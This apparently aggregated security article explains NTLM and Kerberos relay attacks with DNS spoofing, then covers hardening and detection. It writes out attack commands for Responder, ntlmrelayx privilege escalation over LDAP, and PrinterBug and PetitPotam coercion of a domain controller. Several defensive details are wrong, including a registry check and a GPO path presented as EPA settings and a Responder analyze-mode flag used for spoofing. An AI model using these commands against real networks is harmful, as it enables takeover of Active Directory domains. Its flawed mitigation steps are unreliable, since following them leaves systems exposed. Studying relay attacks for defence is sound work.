Listen to this Post
Introduction:
The resurgence of NTLM and Kerberos relay attacks has reignited critical conversations in enterprise security, particularly as adversaries evolve beyond traditional SMB relay to exploit complex authentication protocols. Andrea Pierini’s recent post highlights a pivotal one-year-old resource that dives deep into these techniques, including the often-overlooked but devastating combination of DNS hostname spoofing. This article extracts the core technical insights from that resource, providing a practical guide to understanding, executing, and defending against these advanced relay attacks that bypass classic security controls.
Learning Objectives:
- Understand the evolution from NTLM relay to Kerberos relay and the role of DNS spoofing.
- Learn how to set up and use the `krbrelayx` tool for authenticated coercion and relay attacks.
- Identify key mitigation strategies, including Extended Protection for Authentication (EPA) and LDAP signing.
You Should Know:
- Setting Up the Lab Environment for Relay Attacks
To effectively understand and test NTLM and Kerberos relay techniques, a controlled Active Directory lab environment is essential. This section outlines the setup process, including the necessary tools and configurations, as highlighted in the source material.
Start by cloning the `krbrelayx` tool from its GitHub repository, which is a Python-based toolkit designed for Kerberos relay attacks. This tool, often used alongside Impacket, allows attackers to coerce authentication and relay it to other services.
On your attacker machine (Kali Linux or similar) git clone https://github.com/dirkjanm/krbrelayx.git cd krbrelayx pip install -r requirements.txt Clone Impacket for additional utilities git clone https://github.com/SecureAuthCorp/impacket.git cd impacket pip install .
For DNS spoofing, you will need to configure a tool like Responder or create a custom Python script to respond to DNS queries with the attacker’s IP. The core concept is to spoof DNS records for a target machine (e.g., dc1.corp.local) to point to your attacking host, thereby intercepting authentication traffic intended for a legitimate domain controller. On Linux, this can be achieved using `dnsmasq` or by crafting a simple script with scapy.
2. Executing a DNS Spoofing Attack with Responder
DNS spoofing is the key to redirecting authentication requests. By poisoning or spoofing DNS responses, an attacker can make a victim machine believe the attacker’s host is a legitimate service, such as a file server or domain controller. This step-by-step guide uses Responder to perform this attack.
First, configure Responder to only handle DNS requests to avoid interfering with other protocols. Edit the `/etc/responder/Responder.conf` file, setting all protocols to `Off` except for DNS = On. Then, start Responder to listen for DNS queries.
sudo responder -I eth0 -A -A: Analyze mode, allows you to see requests without responding to all.
While Responder is running, use a tool like `mitm6` to automatically reply to DHCPv6 requests, forcing clients to use the attacker as their DNS server. Alternatively, if you have a man-in-the-middle position, you can send spoofed DNS responses to specific targets. Once the victim requests the IP of a target host (like fileserver.corp.local), Responder responds with your machine’s IP. The victim then attempts to authenticate to your machine via SMB, HTTP, or LDAP, providing a hash or ticket that can be relayed.
3. Leveraging `krbrelayx` for Kerberos Relay
With the victim’s authentication request now hitting your attacker machine, the next step is to relay that authentication to another service, typically to gain a higher level of access. The `krbrelayx` tool excels at this by converting NTLM authentication into Kerberos tickets or relaying Kerberos authentication directly.
A common technique is to use `krbrelayx` in conjunction with `ntlmrelayx.py` from Impacket. First, set up an SMB listener on the attacker machine using `ntlmrelayx.py` to capture the relayed credentials and target the LDAP service on a domain controller.
On attacker machine python3 impacket/examples/ntlmrelayx.py -t ldap://dc1.corp.local --escalate-user <target_user> -smb2support
When the victim connects to your spoofed SMB service, `ntlmrelayx` forwards the authentication to the domain controller’s LDAP service. If the victim has high privileges, this can result in the creation of a new domain admin or the granting of DCSync rights.
For a more advanced Kerberos-specific relay, the `krbrelayx` tool’s `krbrelayx.py` can be used to relay Kerberos authentication. This requires the attacker to be in a position to intercept and modify Kerberos traffic. The tool sets up a KDC (Key Distribution Center) proxy, allowing it to relay authentication requests to the real KDC while injecting attacker-controlled data.
4. Coercing Authentication via PrinterBug and PetitPotam
Often, the hardest part of a relay attack is getting a high-privileged machine or user to initiate authentication to the attacker. Modern coercion techniques like the PrinterBug (MS-RPRN) and PetitPotam (MS-EFSRPC) are essential for this phase. These methods force a target machine, such as a domain controller, to authenticate to an attacker-controlled machine via SMB or HTTP.
Using the `printerbug.py` script from Impacket or the `PetitPotam` tool, an attacker can trigger the target server to connect out. For instance, to coerce a domain controller to authenticate to your machine running ntlmrelayx, use:
From a Linux attacker machine python3 printerbug.py corp.local/<username>:<password>@<target_dc_ip> <attacker_ip> or python3 PetitPotam.py -d corp.local -u <username> -p <password> <attacker_ip> <target_dc_ip>
If your `ntlmrelayx` listener is configured correctly, it will receive the authentication attempt from the domain controller. This is particularly dangerous because the domain controller holds the highest privileges in the domain, allowing an attacker to compromise the entire Active Directory environment.
5. Mitigation: Hardening Active Directory and Windows Hosts
Defending against these relay attacks requires a defense-in-depth approach. The primary mitigations involve enabling security features that have been available for years but are often disabled for backward compatibility. From a system administrator’s perspective, the focus should be on eliminating NTLM usage and enforcing authentication protections.
Enable Extended Protection for Authentication (EPA): EPA prevents man-in-the-middle (MITM) attacks by binding the authentication to the specific SSL/TLS channel. This can be enforced for IIS servers, Exchange, and other services. On Windows servers, you can enable this via the registry or through Group Policy (GPO).
PowerShell command to check EPA status on a server running IIS Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "DisableLoopbackCheck" Enable EPA via GPO: Computer Configuration -> Administrative Templates -> System -> Credentials Delegation -> Encryption Oracle Remediation
Enforce LDAP Signing and Channel Binding: By configuring LDAP signing and LDAP channel binding on domain controllers, you can prevent relayed authentication to LDAP services. This is a critical control as many relay attacks target LDAP to modify object attributes or add privileged users. This can be enforced via GPO under “Network security: LDAP client signing requirements,” setting it to “Require signing.”
Disable NTLM Where Possible: The ultimate goal should be to move to a Kerberos-only environment. Use Group Policy to restrict NTLM usage by deploying “Network security: Restrict NTLM: Incoming NTLM traffic” and “Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers.” This forces all authentication to use Kerberos, which is significantly harder to relay in a typical MITM scenario due to its mutual authentication properties.
6. Detection and Monitoring for Relay Attacks
Detecting these advanced attacks requires looking for anomalous network behavior and specific event logs. Blue teams should focus on identifying suspicious coercion attempts and unexpected authentication patterns.
Network-Level Detection: Monitor for sudden spikes in RPC calls to `MS-RPRN` and `MS-EFSRPC` from non-print servers or from unexpected hosts. Use network intrusion detection systems (IDS) to alert on `EfsRpcOpenFileRaw` or `RpcRemoteFindFirstPrinterChangeNotification` calls coming from unusual IP addresses. Additionally, monitor for DNS query anomalies where a large number of DNS requests for critical servers (like domain controllers) are resolved to IP addresses outside the corporate range.
Windows Event Logs:
- Event ID 4624 (Logon): Look for logons with logon type 3 (Network) coming from unexpected source IP addresses, particularly where the source IP is a non-domain-joined machine attempting to authenticate to critical servers.
- Event ID 4776 (Credential Validation): This event is generated when NTLM authentication is used. Frequent NTLM authentication attempts to high-value targets like domain controllers should be investigated.
- Event ID 4768 (Kerberos TGT Request): Look for Kerberos tickets with unusual encryption types or requested from suspicious IPs.
Implement PowerShell logging and script block logging to detect the execution of tools like `PetitPotam` or `printerbug` on endpoints. If an attacker has compromised a low-level machine and is using it to coerce other systems, these logs can provide the necessary trail for incident response.
What Undercode Say:
- Legacy Protocols Are the Weakest Link: The resurgence of relay attacks underscores a fundamental truth: until NTLM is fully disabled and LDAP signing is enforced, Active Directory environments remain critically vulnerable to trivial authentication relays.
- Tooling Democratizes Advanced Attacks: The availability of integrated frameworks like `krbrelayx` and coercion scripts means that what was once a complex, nation-state level attack is now a standard tool in any penetration tester’s or attacker’s arsenal. This demands immediate and proactive hardening.
- Detection Must Evolve with Attack Techniques: Blue teams must shift focus from basic antivirus to monitoring for protocol anomalies, such as unexpected RPC coercion attempts and DNS spoofing patterns, as these are the definitive indicators of a modern relay attack in progress.
Prediction:
As Microsoft continues to push for NTLM deprecation, we will likely see a wave of novel relay techniques targeting hybrid identity scenarios, such as Azure AD Connect and cloud-managed endpoints. The next generation of attacks will likely bridge on-premises Kerberos relays with cloud authentication tokens, making unified identity security the next critical battlefield. Organizations that fail to implement EPA and signing today will find themselves caught in a perpetual cycle of patching against new relay variations without ever addressing the root architectural flaws.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Andrea Pierini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
